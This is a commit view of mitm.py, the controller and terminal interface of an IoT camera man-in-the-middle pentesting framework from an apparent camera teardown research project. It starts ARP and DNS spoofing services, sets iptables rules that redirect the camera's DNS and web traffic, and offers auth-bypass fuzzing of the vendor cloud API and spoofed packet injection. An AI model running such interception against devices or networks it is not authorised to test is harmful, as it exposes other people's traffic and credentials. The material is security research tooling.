Initial commit — SetecSuite Camera MITM Framework

Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.

Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.

See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
    sudo /usr/bin/python3 gui.py

Co-authored by Setec Labs.
This commit is contained in:
sssnake
2026-04-09 08:14:18 -07:00
commit 800052acc2
38 changed files with 7148 additions and 0 deletions

531
mitm.py Normal file
View File

@@ -0,0 +1,531 @@
#!/usr/bin/env python3
"""
SetecSuite — Camera MITM Tool
All-in-one IoT camera pentesting framework with TUI.
Usage: sudo python3 mitm.py
"""
import curses
import os
import sys
import json
import signal
import threading
import time
from collections import deque
# Add project root to path
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from config import Config
from utils.log import log, log_lines, init_logfile, close_logfile, lock
from utils.log import C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT
from services import arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch
from api import ubox_client, server as rest_server, fuzzer
from inject import packet
SERVICE_DEFS = [
# (name, flag_key, runner_factory)
("arp", "arp", lambda cfg, flags, ck: arp_spoof.run(cfg, flags, ck)),
("dns", "dns", lambda cfg, flags, ck: dns_spoof.run(cfg, flags, ck)),
("http", "http", lambda cfg, flags, ck: http_server.run_http(cfg, flags, ck)),
("https", "https", lambda cfg, flags, ck: http_server.run_https(cfg, flags, ck)),
("udp10240", "udp10240", lambda cfg, flags, ck: udp_listener.run(10240, cfg, flags, ck)),
("udp20001", "udp20001", lambda cfg, flags, ck: udp_listener.run(20001, cfg, flags, ck)),
("sniffer", "sniffer", lambda cfg, flags, ck: sniffer.run(cfg, flags, ck)),
("intruder", "intruder", lambda cfg, flags, ck: intruder_watch.run(cfg, flags, ck)),
]
SERVICE_NAMES = [s[0] for s in SERVICE_DEFS]
SERVICE_BY_NAME = {s[0]: s for s in SERVICE_DEFS}
class Controller:
def __init__(self):
self.cfg = Config()
self.flags = {}
self.running = True
self.services_running = False
self.fuzzer = None
self._devices = []
# per-service running state for individual on/off
self._svc_running = {n: False for n in SERVICE_NAMES}
self._iptables_up = False
def get_devices(self):
return self._devices
# ─── Service Control ──────────────────────────────────
def _ensure_iptables(self):
if not self._iptables_up:
os.system("pkill -f arpspoof 2>/dev/null")
os.makedirs(self.cfg["log_dir"], exist_ok=True)
self._setup_iptables()
self._iptables_up = True
def start_service(self, name):
if name not in SERVICE_BY_NAME:
log(f"unknown service: {name}", C_ERROR)
return
if self._svc_running.get(name):
log(f"{name} already running", C_ERROR)
return
self._ensure_iptables()
# Free ports if needed
if name == "http":
os.system("fuser -k 80/tcp 2>/dev/null")
elif name == "https":
os.system("fuser -k 443/tcp 2>/dev/null")
elif name == "dns":
os.system("fuser -k 53/udp 2>/dev/null")
elif name == "udp10240":
os.system("fuser -k 10240/udp 2>/dev/null")
elif name == "udp20001":
os.system("fuser -k 20001/udp 2>/dev/null")
time.sleep(0.2)
self._svc_running[name] = True
check = lambda n=name: self.running and self._svc_running.get(n, False)
runner = SERVICE_BY_NAME[name][2]
threading.Thread(
target=lambda: runner(self.cfg, self.flags, check),
daemon=True,
name=f"svc-{name}",
).start()
self.services_running = any(self._svc_running.values())
log(f"started: {name}", C_SUCCESS)
def stop_service(self, name):
if name not in SERVICE_BY_NAME:
log(f"unknown service: {name}", C_ERROR)
return
if not self._svc_running.get(name):
log(f"{name} not running", C_ERROR)
return
self._svc_running[name] = False
log(f"stopping: {name}", C_INFO)
# Force-close listening sockets so accept() unblocks
if name == "http":
os.system("fuser -k 80/tcp 2>/dev/null")
elif name == "https":
os.system("fuser -k 443/tcp 2>/dev/null")
elif name == "dns":
os.system("fuser -k 53/udp 2>/dev/null")
elif name == "udp10240":
os.system("fuser -k 10240/udp 2>/dev/null")
elif name == "udp20001":
os.system("fuser -k 20001/udp 2>/dev/null")
time.sleep(0.5)
self.flags[name] = False
self.services_running = any(self._svc_running.values())
def toggle_service(self, name):
if self._svc_running.get(name):
self.stop_service(name)
else:
self.start_service(name)
def start_services(self):
if self.services_running:
log("Services already running", C_ERROR)
return
self._ensure_iptables()
for name in SERVICE_NAMES:
self.start_service(name)
time.sleep(0.3)
log("All MITM services started", C_SUCCESS)
def stop_services(self):
if not self.services_running:
log("Services not running", C_ERROR)
return
log("Stopping all services...", C_INFO)
for name in SERVICE_NAMES:
if self._svc_running.get(name):
self.stop_service(name)
time.sleep(1)
self._cleanup_iptables()
self._iptables_up = False
self.flags.clear()
self.services_running = False
log("Services stopped", C_INFO)
def _setup_iptables(self):
cam = self.cfg["camera_ip"]
us = self.cfg["our_ip"]
for cmd in [
"sysctl -w net.ipv4.ip_forward=1",
"iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP",
f"iptables -t nat -A PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53",
f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
]:
os.system(cmd + " >/dev/null 2>&1")
log("iptables rules applied", C_INFO)
def _cleanup_iptables(self):
cam = self.cfg["camera_ip"]
us = self.cfg["our_ip"]
for cmd in [
"iptables -D OUTPUT -p icmp --icmp-type redirect -j DROP",
f"iptables -t nat -D PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53",
f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
]:
os.system(cmd + " >/dev/null 2>&1")
# ─── Fuzzer ───────────────────────────────────────────
def run_fuzz_endpoints(self):
self.fuzzer = fuzzer.Fuzzer(self.cfg)
self.fuzzer.fuzz_endpoints()
self.fuzzer.save_results()
def run_fuzz_params(self, endpoint):
self.fuzzer = fuzzer.Fuzzer(self.cfg)
self.fuzzer.fuzz_params(endpoint)
self.fuzzer.save_results()
def run_fuzz_auth(self):
self.fuzzer = fuzzer.Fuzzer(self.cfg)
self.fuzzer.fuzz_auth()
self.fuzzer.save_results()
# ─── Packet Injection ─────────────────────────────────
def inject_packet(self, params):
return packet.inject(self.cfg, params)
# ─── Command Processing ───────────────────────────────
def process_command(self, cmd):
parts = cmd.strip().split()
if not parts:
return
c = parts[0].lower()
if c == "help":
for line in HELP.split("\n"):
log(line, C_INFO)
elif c == "start":
threading.Thread(target=self.start_services, daemon=True).start()
elif c == "stop":
threading.Thread(target=self.stop_services, daemon=True).start()
elif c == "status":
flags = ", ".join(f"{k}:{'ON' if v else 'off'}" for k, v in self.flags.items())
log(f"MITM: {'RUNNING' if self.services_running else 'STOPPED'} {flags}", C_INFO)
log(f"REST API: :{self.cfg['rest_port']} Token: {'yes' if self.cfg['api_token'] else 'no'}", C_INFO)
elif c == "config":
for k, v in self.cfg.safe_dict().items():
log(f" {k}: {v}", C_INFO)
elif c == "set" and len(parts) >= 3:
key = parts[1]
val = " ".join(parts[2:])
if key in self.cfg.keys():
# Type coerce
old = self.cfg[key]
if isinstance(old, int):
val = int(val)
elif isinstance(old, float):
val = float(val)
self.cfg[key] = val
self.cfg.save()
log(f"Set {key} = {val if 'password' not in key else '***'}", C_SUCCESS)
else:
log(f"Unknown key. Valid: {', '.join(self.cfg.keys())}", C_ERROR)
elif c == "save":
self.cfg.save()
log("Config saved", C_SUCCESS)
elif c == "login":
threading.Thread(target=ubox_client.login, args=(self.cfg,), daemon=True).start()
elif c == "devices":
def _get():
self._devices = ubox_client.devices(self.cfg)
threading.Thread(target=_get, daemon=True).start()
elif c == "firmware":
threading.Thread(target=ubox_client.check_firmware, args=(self.cfg,), daemon=True).start()
elif c == "services":
threading.Thread(target=ubox_client.device_services, args=(self.cfg,), daemon=True).start()
elif c == "families":
threading.Thread(target=ubox_client.families, args=(self.cfg,), daemon=True).start()
elif c == "api" and len(parts) >= 2:
ep = " ".join(parts[1:])
threading.Thread(target=ubox_client.raw_request, args=(self.cfg, ep), daemon=True).start()
elif c == "fuzz":
if len(parts) < 2:
log("Usage: fuzz endpoints|params <ep>|auth|stop|results", C_ERROR)
elif parts[1] == "endpoints":
threading.Thread(target=self.run_fuzz_endpoints, daemon=True).start()
elif parts[1] == "params" and len(parts) >= 3:
threading.Thread(target=self.run_fuzz_params, args=(parts[2],), daemon=True).start()
elif parts[1] == "auth":
threading.Thread(target=self.run_fuzz_auth, daemon=True).start()
elif parts[1] == "stop":
if self.fuzzer:
self.fuzzer.stop()
log("Fuzzer stopped", C_INFO)
elif parts[1] == "results":
if self.fuzzer:
self.fuzzer.save_results()
else:
log("No fuzzer results", C_ERROR)
else:
log("Usage: fuzz endpoints|params <ep>|auth|stop|results", C_ERROR)
elif c == "inject":
if len(parts) < 3:
log("Usage: inject udp <ip> <port> <hex_payload>", C_ERROR)
log(" inject arp_reply <src_ip> <dst_ip>", C_ERROR)
log(" inject dns_query <domain>", C_ERROR)
elif parts[1] == "udp" and len(parts) >= 5:
packet.inject(self.cfg, {
"type": "udp", "dst_ip": parts[2],
"dst_port": int(parts[3]),
"payload": " ".join(parts[4:]),
"payload_hex": True,
})
elif parts[1] == "arp_reply" and len(parts) >= 4:
packet.inject(self.cfg, {
"type": "arp_reply",
"src_ip": parts[2], "dst_ip": parts[3],
})
elif parts[1] == "dns_query" and len(parts) >= 3:
packet.inject(self.cfg, {"type": "dns_query", "domain": parts[2]})
else:
log("inject: invalid args", C_ERROR)
elif c == "clear":
with lock:
log_lines.clear()
elif c in ("quit", "q", "exit"):
if self.services_running:
self.stop_services()
self.running = False
else:
log(f"Unknown: {cmd}. Type 'help'.", C_ERROR)
HELP = """
── MITM Services ──────────────────────────────────────────
start Start all MITM services
stop Stop all services, restore ARP
status Show running services
── Configuration ──────────────────────────────────────────
config Show all settings
set <key> <value> Set config (camera_ip, our_ip, router_ip, iface,
camera_mac, api_email, api_password, rest_port,
fuzzer_threads, fuzzer_delay)
save Save config to disk
── UBox Cloud API ─────────────────────────────────────────
login Authenticate to UBox cloud
devices List devices (leaks creds!)
firmware Check firmware version
services Query device services
families List account families
api <endpoint> Raw POST to any API endpoint
── Fuzzer ─────────────────────────────────────────────────
fuzz endpoints Discover hidden API endpoints
fuzz params <ep> Fuzz parameters on endpoint
fuzz auth Test authentication bypass
fuzz stop Stop running fuzzer
fuzz results Save fuzzer results to file
── Packet Injection ───────────────────────────────────────
inject udp <ip> <port> <hex> Send UDP packet
inject arp_reply <src> <dst> Send spoofed ARP reply
inject dns_query <domain> Send DNS query
── General ────────────────────────────────────────────────
clear Clear log
help Show this help
quit Exit
── REST API (for external tools) ──────────────────────────
Runs on port 9090 (configurable via 'set rest_port')
GET /status, /logs, /devices, /config, /fuzz/results
POST /start, /stop, /config, /command, /api,
/fuzz/endpoints, /fuzz/params, /fuzz/auth, /inject
""".strip()
def curses_main(stdscr, ctrl):
curses.curs_set(1)
curses.start_color()
curses.use_default_colors()
curses.init_pair(1, curses.COLOR_RED, -1)
curses.init_pair(2, curses.COLOR_GREEN, -1)
curses.init_pair(3, curses.COLOR_CYAN, -1)
curses.init_pair(4, curses.COLOR_YELLOW, -1)
curses.init_pair(5, curses.COLOR_MAGENTA, -1)
curses.init_pair(6, curses.COLOR_BLACK, curses.COLOR_WHITE)
curses.init_pair(7, curses.COLOR_BLACK, curses.COLOR_GREEN)
stdscr.nodelay(True)
stdscr.keypad(True)
input_buf = ""
scroll_offset = 0
cmd_history = deque(maxlen=50)
hist_idx = -1
log("SetecSuite — Camera MITM Tool", C_INFO)
log(f"Target: {ctrl.cfg['camera_ip']} Us: {ctrl.cfg['our_ip']} Router: {ctrl.cfg['router_ip']}", C_INFO)
log(f"REST API on :{ctrl.cfg['rest_port']} | Type 'help' for commands", C_INFO)
log("", C_NONE)
# Start REST API server
threading.Thread(target=rest_server.start_server,
args=(ctrl, ctrl.cfg["rest_port"]), daemon=True).start()
while ctrl.running:
try:
h, w = stdscr.getmaxyx()
if h < 5 or w < 40:
time.sleep(0.1)
continue
stdscr.erase()
# ─── Title bar ────────────────────────────────
title = " SetecSuite MITM "
parts = []
if ctrl.services_running:
parts.append("MITM:ON")
else:
parts.append("MITM:OFF")
for k, v in ctrl.flags.items():
parts.append(f"{k}:{'' if v else ''}")
if ctrl.cfg["api_token"]:
parts.append("API:✓")
if ctrl.cfg["device_uid"]:
parts.append(f"UID:{ctrl.cfg['device_uid'][:8]}")
bar = f"{title}| {' | '.join(parts)} "
pair = 7 if ctrl.services_running else 6
try:
stdscr.addstr(0, 0, bar.ljust(w)[:w], curses.color_pair(pair) | curses.A_BOLD)
except curses.error:
pass
# ─── Log area ─────────────────────────────────
log_h = h - 3
with lock:
visible = list(log_lines)
total = len(visible)
if scroll_offset > max(0, total - log_h):
scroll_offset = max(0, total - log_h)
start_idx = max(0, total - log_h - scroll_offset)
end_idx = start_idx + log_h
for i, idx in enumerate(range(start_idx, min(end_idx, total))):
line, color = visible[idx]
y = i + 1
if y >= h - 2:
break
try:
display = line[:w - 1]
attr = curses.color_pair(color) if color else 0
stdscr.addstr(y, 0, display, attr)
except curses.error:
pass
# ─── Separator ────────────────────────────────
try:
stdscr.addstr(h - 2, 0, "" * (w - 1), curses.color_pair(3))
except curses.error:
pass
# ─── Input ────────────────────────────────────
prompt = " "
try:
stdscr.addstr(h - 1, 0, prompt, curses.color_pair(2) | curses.A_BOLD)
stdscr.addstr(h - 1, len(prompt), input_buf[:w - len(prompt) - 1])
stdscr.move(h - 1, min(len(prompt) + len(input_buf), w - 1))
except curses.error:
pass
stdscr.refresh()
# ─── Key handling ─────────────────────────────
try:
ch = stdscr.getch()
except:
ch = -1
if ch == -1:
time.sleep(0.04)
continue
elif ch in (10, 13): # Enter
if input_buf.strip():
cmd_history.appendleft(input_buf)
hist_idx = -1
ctrl.process_command(input_buf)
input_buf = ""
scroll_offset = 0
elif ch == 27: # Escape
input_buf = ""
hist_idx = -1
elif ch in (curses.KEY_BACKSPACE, 127, 8):
input_buf = input_buf[:-1]
elif ch == curses.KEY_UP:
if cmd_history:
hist_idx = min(hist_idx + 1, len(cmd_history) - 1)
input_buf = cmd_history[hist_idx]
elif ch == curses.KEY_DOWN:
if hist_idx > 0:
hist_idx -= 1
input_buf = cmd_history[hist_idx]
elif hist_idx == 0:
hist_idx = -1
input_buf = ""
elif ch == curses.KEY_PPAGE:
scroll_offset = min(scroll_offset + log_h, max(0, total - log_h))
elif ch == curses.KEY_NPAGE:
scroll_offset = max(0, scroll_offset - log_h)
elif ch == curses.KEY_HOME:
scroll_offset = max(0, total - log_h)
elif ch == curses.KEY_END:
scroll_offset = 0
elif 32 <= ch < 127:
input_buf += chr(ch)
except KeyboardInterrupt:
if ctrl.services_running:
ctrl.stop_services()
ctrl.running = False
except Exception as e:
log(f"UI: {e}", C_ERROR)
time.sleep(0.1)
def main():
if os.geteuid() != 0:
print("Run with: sudo python3 mitm.py")
sys.exit(1)
ctrl = Controller()
os.makedirs(ctrl.cfg["log_dir"], exist_ok=True)
init_logfile(f"{ctrl.cfg['log_dir']}/mitm.log")
signal.signal(signal.SIGINT, lambda s, f: None) # Let curses handle it
try:
curses.wrapper(lambda stdscr: curses_main(stdscr, ctrl))
finally:
if ctrl.services_running:
ctrl.stop_services()
close_logfile()
print(f"\nLogs: {ctrl.cfg['log_dir']}/")
print(f"Config: {Config.CONFIG_FILE if hasattr(Config, 'CONFIG_FILE') else 'config.json'}")
if __name__ == "__main__":
main()